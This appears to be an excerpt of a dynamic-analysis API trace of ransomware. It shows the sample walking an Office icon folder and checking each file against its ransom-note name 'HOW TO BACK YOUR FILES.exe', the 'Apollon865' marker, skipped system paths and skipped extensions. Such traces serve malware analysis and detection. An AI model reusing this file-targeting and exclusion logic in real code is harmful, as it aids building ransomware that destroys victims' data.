	[0070.677] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6bf68e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OnLineBusy.ico", cAlternateFileName="ONLINE~2.ICO")) returned 1
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2=".") returned 1
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2="..") returned 1
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2="windows") returned -1
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2="bootmgr") returned 1
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2="temp") returned -1
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2="pagefile.sys") returned -1
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2="boot") returned 1
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2="ids.txt") returned 1
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2="ntuser.dat") returned 1
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2="perflogs") returned -1
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2="MSBuild") returned 1
	[0070.677] lstrlenW (lpString="OnLineBusy.ico") returned 14
	[0070.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO") returned 70
	[0070.677] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="OnLineBusy.ico" | out: lpString1="OnLineBusy.ico") returned="OnLineBusy.ico"
	[0070.677] lstrlenW (lpString="OnLineBusy.ico") returned 14
	[0070.677] lstrlenW (lpString="Apollon865") returned 10
	[0070.677] lstrcmpiW (lpString1="neBusy.ico", lpString2="Apollon865") returned 1
	[0070.677] lstrlenW (lpString=".dll") returned 4
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2=".dll") returned 1
	[0070.677] lstrlenW (lpString=".lnk") returned 4
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2=".lnk") returned 1
	[0070.677] lstrlenW (lpString=".ini") returned 4
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2=".ini") returned 1
	[0070.677] lstrlenW (lpString=".sys") returned 4
	[0070.677] lstrcmpiW (lpString1="OnLineBusy.ico", lpString2=".sys") returned 1
	[0070.678] lstrlenW (lpString="OnLineBusy.ico") returned 14
	[0070.678] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OnLineIdle.ico", cAlternateFileName="ONLINE~1.ICO")) returned 1
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2=".") returned 1
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2="..") returned 1
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2="windows") returned -1
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2="bootmgr") returned 1
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2="temp") returned -1
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2="pagefile.sys") returned -1
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2="boot") returned 1
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2="ids.txt") returned 1
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2="ntuser.dat") returned 1
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2="perflogs") returned -1
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2="MSBuild") returned 1
	[0070.678] lstrlenW (lpString="OnLineIdle.ico") returned 14
	[0070.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico") returned 74
	[0070.678] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="OnLineIdle.ico" | out: lpString1="OnLineIdle.ico") returned="OnLineIdle.ico"
	[0070.678] lstrlenW (lpString="OnLineIdle.ico") returned 14
	[0070.678] lstrlenW (lpString="Apollon865") returned 10
	[0070.678] lstrcmpiW (lpString1="neIdle.ico", lpString2="Apollon865") returned 1
	[0070.678] lstrlenW (lpString=".dll") returned 4
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2=".dll") returned 1
	[0070.678] lstrlenW (lpString=".lnk") returned 4
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2=".lnk") returned 1
	[0070.678] lstrlenW (lpString=".ini") returned 4
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2=".ini") returned 1
	[0070.678] lstrlenW (lpString=".sys") returned 4
	[0070.678] lstrcmpiW (lpString1="OnLineIdle.ico", lpString2=".sys") returned 1
	[0070.678] lstrlenW (lpString="OnLineIdle.ico") returned 14
	[0070.678] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OutDomain.ico", cAlternateFileName="OUTDOM~1.ICO")) returned 1
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2=".") returned 1
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2="..") returned 1
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2="windows") returned -1
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2="bootmgr") returned 1
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2="temp") returned -1
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2="pagefile.sys") returned -1
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2="boot") returned 1
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2="ids.txt") returned 1
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2="ntuser.dat") returned 1
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2="perflogs") returned -1
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2="MSBuild") returned 1
	[0070.679] lstrlenW (lpString="OutDomain.ico") returned 13
	[0070.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico") returned 74
	[0070.679] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="OutDomain.ico" | out: lpString1="OutDomain.ico") returned="OutDomain.ico"
	[0070.679] lstrlenW (lpString="OutDomain.ico") returned 13
	[0070.679] lstrlenW (lpString="Apollon865") returned 10
	[0070.679] lstrcmpiW (lpString1="Domain.ico", lpString2="Apollon865") returned 1
	[0070.679] lstrlenW (lpString=".dll") returned 4
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2=".dll") returned 1
	[0070.679] lstrlenW (lpString=".lnk") returned 4
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2=".lnk") returned 1
	[0070.679] lstrlenW (lpString=".ini") returned 4
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2=".ini") returned 1
	[0070.679] lstrlenW (lpString=".sys") returned 4
	[0070.679] lstrcmpiW (lpString1="OutDomain.ico", lpString2=".sys") returned 1
	[0070.679] lstrlenW (lpString="OutDomain.ico") returned 13
	[0070.679] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTGOING.ICO", cAlternateFileName="")) returned 1
	[0070.679] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.679] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2="Apollon865.txt.exe") returned 1
	[0070.679] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2=".") returned 1
	[0070.679] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2="..") returned 1
	[0070.679] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2="windows") returned -1
	[0070.679] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2="bootmgr") returned 1
	[0070.680] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2="temp") returned -1
	[0070.680] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2="pagefile.sys") returned -1
	[0070.680] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2="boot") returned 1
	[0070.680] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2="ids.txt") returned 1
	[0070.680] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2="ntuser.dat") returned 1
	[0070.680] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2="perflogs") returned -1
	[0070.680] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2="MSBuild") returned 1
	[0070.680] lstrlenW (lpString="OUTGOING.ICO") returned 12
	[0070.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico") returned 73
	[0070.680] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="OUTGOING.ICO" | out: lpString1="OUTGOING.ICO") returned="OUTGOING.ICO"
	[0070.680] lstrlenW (lpString="OUTGOING.ICO") returned 12
	[0070.680] lstrlenW (lpString="Apollon865") returned 10
	[0070.680] lstrcmpiW (lpString1="TGOING.ICO", lpString2="Apollon865") returned 1
	[0070.680] lstrlenW (lpString=".dll") returned 4
	[0070.680] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2=".dll") returned 1
	[0070.680] lstrlenW (lpString=".lnk") returned 4
	[0070.680] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2=".lnk") returned 1
	[0070.680] lstrlenW (lpString=".ini") returned 4
	[0070.680] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2=".ini") returned 1
	[0070.680] lstrlenW (lpString=".sys") returned 4
	[0070.680] lstrcmpiW (lpString1="OUTGOING.ICO", lpString2=".sys") returned 1
	[0070.680] lstrlenW (lpString="OUTGOING.ICO") returned 12
	[0070.680] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OutSyncPC.ico", cAlternateFileName="OUTSYN~1.ICO")) returned 1
	[0070.680] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.680] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.680] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2=".") returned 1
	[0070.680] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2="..") returned 1
	[0070.680] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2="windows") returned -1
	[0070.680] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2="bootmgr") returned 1
	[0070.680] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2="temp") returned -1
	[0070.680] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2="pagefile.sys") returned -1
	[0070.680] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2="boot") returned 1
	[0070.680] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2="ids.txt") returned 1
	[0070.680] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2="ntuser.dat") returned 1
	[0070.681] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2="perflogs") returned -1
	[0070.681] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2="MSBuild") returned 1
	[0070.681] lstrlenW (lpString="OutSyncPC.ico") returned 13
	[0070.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO") returned 72
	[0070.681] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="OutSyncPC.ico" | out: lpString1="OutSyncPC.ico") returned="OutSyncPC.ico"
	[0070.681] lstrlenW (lpString="OutSyncPC.ico") returned 13
	[0070.681] lstrlenW (lpString="Apollon865") returned 10
	[0070.681] lstrcmpiW (lpString1="SyncPC.ico", lpString2="Apollon865") returned 1
	[0070.681] lstrlenW (lpString=".dll") returned 4
	[0070.681] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2=".dll") returned 1
	[0070.681] lstrlenW (lpString=".lnk") returned 4
	[0070.681] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2=".lnk") returned 1
	[0070.681] lstrlenW (lpString=".ini") returned 4
	[0070.681] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2=".ini") returned 1
	[0070.681] lstrlenW (lpString=".sys") returned 4
	[0070.681] lstrcmpiW (lpString1="OutSyncPC.ico", lpString2=".sys") returned 1
	[0070.681] lstrlenW (lpString="OutSyncPC.ico") returned 13
	[0070.681] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cdd7370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PersonalContact.ico", cAlternateFileName="PERSON~1.ICO")) returned 1
	[0070.681] lstrcmpiW (lpString1="PersonalContact.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.681] lstrcmpiW (lpString1="PersonalContact.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.681] lstrcmpiW (lpString1="PersonalContact.ico", lpString2=".") returned 1
	[0070.681] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="PersonalContact.ico" | out: lpString1="PersonalContact.ico") returned="PersonalContact.ico"
	[0070.681] lstrlenW (lpString="PersonalContact.ico") returned 19
	[0070.681] lstrlenW (lpString="Apollon865") returned 10
	[0070.681] lstrcmpiW (lpString1="ontact.ico", lpString2="Apollon865") returned 1
	[0070.681] lstrlenW (lpString=".dll") returned 4
	[0070.681] lstrcmpiW (lpString1="PersonalContact.ico", lpString2=".dll") returned 1
	[0070.681] lstrlenW (lpString=".lnk") returned 4
	[0070.681] lstrcmpiW (lpString1="PersonalContact.ico", lpString2=".lnk") returned 1
	[0070.681] lstrlenW (lpString=".ini") returned 4
	[0070.681] lstrcmpiW (lpString1="PersonalContact.ico", lpString2=".ini") returned 1
	[0070.681] lstrlenW (lpString=".sys") returned 4
	[0070.681] lstrcmpiW (lpString1="PersonalContact.ico", lpString2=".sys") returned 1
	[0070.682] lstrlenW (lpString="PersonalContact.ico") returned 19
	[0070.682] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SessionMember.ico", cAlternateFileName="SESSIO~1.ICO")) returned 1
	[0070.682] lstrcmpiW (lpString1="SessionMember.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.682] lstrcmpiW (lpString1="SessionMember.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.682] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="SessionMember.ico" | out: lpString1="SessionMember.ico") returned="SessionMember.ico"
	[0070.682] lstrlenW (lpString="SessionMember.ico") returned 17
	[0070.682] lstrlenW (lpString="Apollon865") returned 10
	[0070.682] lstrcmpiW (lpString1="Member.ico", lpString2="Apollon865") returned 1
	[0070.682] lstrlenW (lpString=".dll") returned 4
	[0070.682] lstrcmpiW (lpString1="SessionMember.ico", lpString2=".dll") returned 1
	[0070.682] lstrlenW (lpString=".lnk") returned 4
	[0070.682] lstrcmpiW (lpString1="SessionMember.ico", lpString2=".lnk") returned 1
	[0070.682] lstrlenW (lpString=".ini") returned 4
	[0070.682] lstrcmpiW (lpString1="SessionMember.ico", lpString2=".ini") returned 1
	[0070.682] lstrlenW (lpString=".sys") returned 4
	[0070.682] lstrcmpiW (lpString1="SessionMember.ico", lpString2=".sys") returned 1
	[0070.682] lstrlenW (lpString="SessionMember.ico") returned 17
	[0070.682] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SessionOwner.ico", cAlternateFileName="SESSIO~2.ICO")) returned 1
	[0070.682] lstrcmpiW (lpString1="SessionOwner.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.682] lstrcmpiW (lpString1="SessionOwner.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.682] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="SessionOwner.ico" | out: lpString1="SessionOwner.ico") returned="SessionOwner.ico"
	[0070.682] lstrlenW (lpString="SessionOwner.ico") returned 16
	[0070.682] lstrlenW (lpString="Apollon865") returned 10
	[0070.682] lstrcmpiW (lpString1="nOwner.ico", lpString2="Apollon865") returned 1
	[0070.682] lstrlenW (lpString=".dll") returned 4
	[0070.682] lstrcmpiW (lpString1="SessionOwner.ico", lpString2=".dll") returned 1
	[0070.682] lstrlenW (lpString=".lnk") returned 4
	[0070.682] lstrcmpiW (lpString1="SessionOwner.ico", lpString2=".lnk") returned 1
	[0070.682] lstrlenW (lpString=".ini") returned 4
	[0070.682] lstrcmpiW (lpString1="SessionOwner.ico", lpString2=".ini") returned 1
	[0070.683] lstrlenW (lpString=".sys") returned 4
	[0070.683] lstrcmpiW (lpString1="SessionOwner.ico", lpString2=".sys") returned 1
	[0070.683] lstrlenW (lpString="SessionOwner.ico") returned 16
	[0070.683] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SpaceSelector.ico", cAlternateFileName="SPACES~1.ICO")) returned 1
	[0070.683] lstrcmpiW (lpString1="SpaceSelector.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.683] lstrcmpiW (lpString1="SpaceSelector.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.683] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="SpaceSelector.ico" | out: lpString1="SpaceSelector.ico") returned="SpaceSelector.ico"
	[0070.683] lstrlenW (lpString="SpaceSelector.ico") returned 17
	[0070.683] lstrlenW (lpString="Apollon865") returned 10
	[0070.683] lstrcmpiW (lpString1="lector.ico", lpString2="Apollon865") returned 1
	[0070.683] lstrlenW (lpString=".dll") returned 4
	[0070.683] lstrcmpiW (lpString1="SpaceSelector.ico", lpString2=".dll") returned 1
	[0070.683] lstrlenW (lpString=".lnk") returned 4
	[0070.683] lstrcmpiW (lpString1="SpaceSelector.ico", lpString2=".lnk") returned 1
	[0070.683] lstrlenW (lpString=".ini") returned 4
	[0070.683] lstrcmpiW (lpString1="SpaceSelector.ico", lpString2=".ini") returned 1
	[0070.683] lstrlenW (lpString=".sys") returned 4
	[0070.683] lstrcmpiW (lpString1="SpaceSelector.ico", lpString2=".sys") returned 1
	[0070.683] lstrlenW (lpString="SpaceSelector.ico") returned 17
	[0070.683] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="StatusAway.ico", cAlternateFileName="STATUS~1.ICO")) returned 1
	[0070.683] lstrcmpiW (lpString1="StatusAway.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.683] lstrcmpiW (lpString1="StatusAway.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.683] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="StatusAway.ico" | out: lpString1="StatusAway.ico") returned="StatusAway.ico"
	[0070.683] lstrlenW (lpString="StatusAway.ico") returned 14
	[0070.683] lstrlenW (lpString="Apollon865") returned 10
	[0070.683] lstrcmpiW (lpString1="usAway.ico", lpString2="Apollon865") returned 1
	[0070.683] lstrlenW (lpString=".dll") returned 4
	[0070.683] lstrcmpiW (lpString1="StatusAway.ico", lpString2=".dll") returned 1
	[0070.683] lstrlenW (lpString=".lnk") returned 4
	[0070.683] lstrcmpiW (lpString1="StatusAway.ico", lpString2=".lnk") returned 1
	[0070.684] lstrlenW (lpString=".ini") returned 4
	[0070.684] lstrcmpiW (lpString1="StatusAway.ico", lpString2=".ini") returned 1
	[0070.684] lstrlenW (lpString=".sys") returned 4
	[0070.684] lstrcmpiW (lpString1="StatusAway.ico", lpString2=".sys") returned 1
	[0070.684] lstrlenW (lpString="StatusAway.ico") returned 14
	[0070.684] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="StatusDoNotDisturb.ico", cAlternateFileName="STATUS~2.ICO")) returned 1
	[0070.684] lstrcmpiW (lpString1="StatusDoNotDisturb.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.684] lstrcmpiW (lpString1="StatusDoNotDisturb.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.684] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="StatusDoNotDisturb.ico" | out: lpString1="StatusDoNotDisturb.ico") returned="StatusDoNotDisturb.ico"
	[0070.684] lstrlenW (lpString="StatusDoNotDisturb.ico") returned 22
	[0070.684] lstrlenW (lpString="Apollon865") returned 10
	[0070.684] lstrcmpiW (lpString1="isturb.ico", lpString2="Apollon865") returned 1
	[0070.684] lstrlenW (lpString=".dll") returned 4
	[0070.684] lstrcmpiW (lpString1="StatusDoNotDisturb.ico", lpString2=".dll") returned 1
	[0070.684] lstrlenW (lpString=".lnk") returned 4
	[0070.684] lstrcmpiW (lpString1="StatusDoNotDisturb.ico", lpString2=".lnk") returned 1
	[0070.686] lstrlenW (lpString=".ini") returned 4
	[0070.686] lstrcmpiW (lpString1="StatusDoNotDisturb.ico", lpString2=".ini") returned 1
	[0070.686] lstrlenW (lpString=".sys") returned 4
	[0070.686] lstrcmpiW (lpString1="StatusDoNotDisturb.ico", lpString2=".sys") returned 1
	[0070.687] lstrlenW (lpString="StatusDoNotDisturb.ico") returned 22
	[0070.687] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="StatusOnline.ico", cAlternateFileName="STATUS~3.ICO")) returned 1
	[0070.687] lstrcmpiW (lpString1="StatusOnline.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.687] lstrcmpiW (lpString1="StatusOnline.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.687] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="StatusOnline.ico" | out: lpString1="StatusOnline.ico") returned="StatusOnline.ico"
	[0070.687] lstrlenW (lpString="StatusOnline.ico") returned 16
	[0070.687] lstrlenW (lpString="Apollon865") returned 10
	[0070.687] lstrcmpiW (lpString1="Online.ico", lpString2="Apollon865") returned 1
	[0070.687] lstrlenW (lpString=".dll") returned 4
	[0070.687] lstrcmpiW (lpString1="StatusOnline.ico", lpString2=".dll") returned 1
	[0070.687] lstrlenW (lpString=".lnk") returned 4
	[0070.687] lstrcmpiW (lpString1="StatusOnline.ico", lpString2=".lnk") returned 1
	[0070.687] lstrlenW (lpString=".ini") returned 4
	[0070.687] lstrcmpiW (lpString1="StatusOnline.ico", lpString2=".ini") returned 1
	[0070.687] lstrlenW (lpString=".sys") returned 4
	[0070.687] lstrcmpiW (lpString1="StatusOnline.ico", lpString2=".sys") returned 1
	[0070.687] lstrlenW (lpString="StatusOnline.ico") returned 16
	[0070.687] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TOOLICON.ICO", cAlternateFileName="")) returned 1
